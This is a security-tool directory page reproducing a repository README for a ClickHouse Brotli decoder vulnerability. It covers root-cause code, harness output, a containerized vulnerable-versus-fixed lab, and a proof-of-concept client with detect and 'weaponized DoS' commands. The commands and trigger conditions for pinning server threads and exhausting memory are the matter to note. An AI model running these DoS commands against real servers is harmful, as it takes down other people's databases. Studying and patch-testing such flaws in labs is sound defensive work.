Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-116366 — PoC, differential detector, weaponized DoS, and containerized vulnerable-vs-fixed lab for CVE-2026-116366, an unauthenticated RCE in ClickHouse via a Brotli decoder OOB write. | Kitploit
工具/GitHubGitHub/googlesky/cve-2026-116366
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationFuzzingDatabase SecurityLabs & Practice
GitHubgooglesky/cve-2026-116366

CVE-2026-116366

PoC, differential detector, weaponized DoS, and containerized vulnerable-vs-fixed lab for CVE-2026-116366, an unauthenticated RCE in ClickHouse via a Brotli decoder OOB write.

查看仓库
32天前尚未审核
分享
网站
内容在请求的语言中不可用。显示英文版本。

CVE-2026-116366 — ClickHouse Server Unauthenticated RCE (Brotli decoder OOB write)

License: MIT

PoC, containerized lab, and root-cause analysis for CVE-2026-116366 (CVSS 4.0 9.5 CRITICAL, AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H), an unauthenticated remote code execution vulnerability in ClickHouse Server caused by an out-of-bounds write in the bundled Brotli decoder v1.2.0 (the same root cause as CVE-2026-111497).

Affected (OSS)26.3 < 26.3.62.3-lts, 26.8 < 26.8.36.3-lts, 26.9 < 26.9.27.3-stable, 26.10 < 26.10.3.7-stable (default status: affected)
Fixed buildsv26.3.62.3-lts / v26.8.36.3-lts / v26.9.27.3-stable / v26.10.3.7-stable (2026-10-30)
IntroducedClickHouse a4e1ef85eb (2026-09-09) — contrib brotli bump v1.0.9 → v1.2.0
Fixed byClickHouse 9f973a1aea (2026-10-22) — contrib bump to v1.2.1 (b418fa81c4 "Detect and report invalid stream earlier")
CWECWE-190 (vendor record) — memory-safety class: OOB write
Reporter (to vendor)Elshad Toklayev

Tổng quan

ClickHouse Server ≥ 26.3 (since the 2026-09-09 brotli bump) bundles brotli v1.2.0, whose decoder mishandles an illegal block switch: a stream that declares a single block type for literals/commands/distances and then requests a block switch makes DecodeBlockTypeAndLength() fail — but the failure is indistinguishable from "needs more input" and is silently discarded. The decoder keeps running with corrupted state (block_length == 0, stale Huffman tree pointers, broken ring-buffer position invariant), which produces:

  1. an out-of-bounds write in the literal copy fast path of ProcessCommandsInternal() (the ringbuffer_size >= pos guard is skipped once pos runs out of range) — RCE-class, heap-layout dependent (CVSS AC:H);
  2. a permanent 100%-CPU spin in the decoder loop — one crafted 86-byte HTTP request pins one worker thread forever, even after the attacker disconnects;
  3. a ~60 MB memory leak per accepted request (decoder state + ring buffer).

The bug is reachable pre-authorization on the data plane: any HTTP interface (8123/8443) that accepts the request wraps the body in BrotliReadBuffer when Content-Encoding: br is set. On the widespread default self-hosted configuration (default user, empty password, non-localhost listen_host) this is unauthenticated — exactly the "certain conditions" the advisory describes.

Root cause

contrib/brotli (v1.2.0) c/dec/decode.c:

static BROTLI_INLINE BROTLI_BOOL DecodeBlockTypeAndLength(   // returns BOOL!
    int safe, BrotliDecoderState* s, int tree_type) {
  brotli_reg_t max_block_type = s->num_block_types[tree_type];
  ...
  if (max_block_type <= 1) {
    return BROTLI_FALSE;            // "invalid stream" ...
  }                                 // ... same return value as "need input"
  ...
}

static void BROTLI_NOINLINE DecodeCommandBlockSwitch(...) {  // void wrapper
  DecodeCommandBlockSwitchInternal(0, s);                    // result dropped
}

#define BROTLI_SAFE(METHOD) { if (safe) { if (!Safe##METHOD) { \
  result = NEEDS_MORE_INPUT; goto saveStateAndReturn; } } else { METHOD; } }

BROTLI_FALSE means both "temporarily out of input" and "this stream is illegal". The unsafe fast path calls the void wrapper and ignores the result entirely; the safe path parks the decoder in NEEDS_MORE_INPUT forever. Either way the corrupted state (block length 0, ring-buffer position out of range) is carried into the copy loop:

/* CommandInner, unsafe literal copy */
if (s->ringbuffer_size >= pos &&
    (s->ringbuffer_size - pos) <= num_steps) {
  num_steps = s->ringbuffer_size - pos - 1;   // only clamped when pos <= size
}
num_steps = BrotliCopyPreloadedSymbolsToU8(..., s->ringbuffer, pos, num_steps);
                                             // OOB write when pos > size

The v1.2.1 fix (ClickHouse brotli b418fa81c4) converts the whole family to BrotliDecoderErrorCode, adds BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17), and checks it in both paths via the new BROTLI_SAFE_WITH_STATUS macro. It also adds BROTLI_DCHECK(s->meta_block_remaining_len <= (int)BROTLI_BLOCK_SIZE_CAP).

Differential (library level)

$ ./build-v120/harness-clean poc-err.br 4096     # ClickHouse 26.10.2.103 decoder
result=0 error=-9  (_ERROR_FORMAT_BLOCK_LENGTH_1) consumed=19/38 produced=16777216
$ ./build-v121/harness      poc-err.br 4096     # ClickHouse 26.10.3.7 decoder
result=0 error=-17 (_ERROR_FORMAT_BLOCK_SWITCH) consumed=22/38 produced=16777216

$ timeout -s KILL 6 ./build-v120/harness-clean poc-dos.br 4096
Killed  (exit 137 — decoder NEVER returns: permanent CPU spin)
$ ./build-v121/harness      poc-dos.br 4096
result=0 error=-17 (_ERROR_FORMAT_BLOCK_SWITCH) ...

The instrumented vulnerable build shows the discarded failure directly:

[DBG] >>> INVALID BLOCK SWITCH hit (tree_type=0 max=1) safe=1 pos=2 — returning FALSE, WILL BE DISCARDED <<<

Lab (100% containerized)

lab/
├── etc-vuln/{config.d,users.d}   # listen 0.0.0.0 + empty-password default user
├── etc-fixed/{config.d,users.d}
└── payloads/
    ├── poc-err.br                # trigger + 16×0x00  → error-path differential
    └── poc-dos.br                # trigger + 64×0x00  → permanent decoder spin
  • cve-2026-116366-vuln = clickhouse/clickhouse-server:26.10.2.103
  • cve-2026-116366-fixed = clickhouse/clickhouse-server:26.10.3.7
  • the PoC client runs in its own container on the lab network (python:3.12-slim)
./lab.sh up        # start both servers (vulnerable + fixed)
./lab.sh detect    # run poc.py against both; prints exit codes
./lab.sh dos 64    # weaponized thread/memory exhaustion demo against the vuln host
./lab.sh logs      # vuln server logs
./lab.sh teardown

PoC

poc.py (stdlib only):

python3 poc.py check  --host 127.0.0.1 --port 8123            # fingerprint
python3 poc.py detect --host 127.0.0.1 --port 8123            # exit 1 = VULNERABLE, 0 = PATCHED
python3 poc.py dos    --host 127.0.0.1 --port 8123 --n 64     # weaponized DoS

detect works as a clean differential:

  • vulnerable — stage 2 times out: the decoder entered the permanent spin after the discarded invalid block switch (exit 1);
  • patched — immediate Code: 448 DB::Exception: brotli decode error. (decoder returned -17 BLOCK_SWITCH) (exit 0).

Validated results

Test26.10.2.103 (vulnerable)26.10.3.7 (fixed)
POST /?max_query_size=20000000 + Content-Encoding: br (ERR payload)Code: 448 after decode error -9 (16 MiB produced first)Code: 448 instantly, error -17
Same with DOS payloadrequest never completes — worker thread spins at 100% CPU forever (verified 45+ s of CPU after client disconnect), RSS grows ~60 MB/request (162 MB → 2.99 GB under 150 parallel requests, 1233% CPU)instant Code: 448 reject
150 parallel DOS requests (4 GB cap)2.99 GB RSS, 12+ cores burned, permanentno effect
48 parallel DOS requests (lab.sh dos 48)48/48 decoders planted, ~90-100% CPU each (500% total), 1.6 GB RSSn/a
Library-level (this repo's harness)-9 / never returns-17 both payloads
Other pre-fix trains (empirical)26.8.34.13-lts and 26.9.25.15-stable: NOT vulnerable (they still bundle brotli v1.0.9 — the v1.2.0 bump only reached released 26.10.x builds before the security release; the CVE ranges are default-status coarse)—

RCE conversion (controlled OOB write instead of spin/hang) is heap-layout dependent (AC:H); the upstream fix advisory classifies the same bug as "out-of-bounds write permits remote code execution" (brotli CHANGELOG for v1.2.1, crediting CVE-2026-111497).

Payload anatomy

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    350
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    由 AI 驱动的 OSINT 引擎,可在网络上发现并映射 7,700+ 个社交媒体身份

    283

探索所有工具

浏览我们的工具集合

查看所有工具 →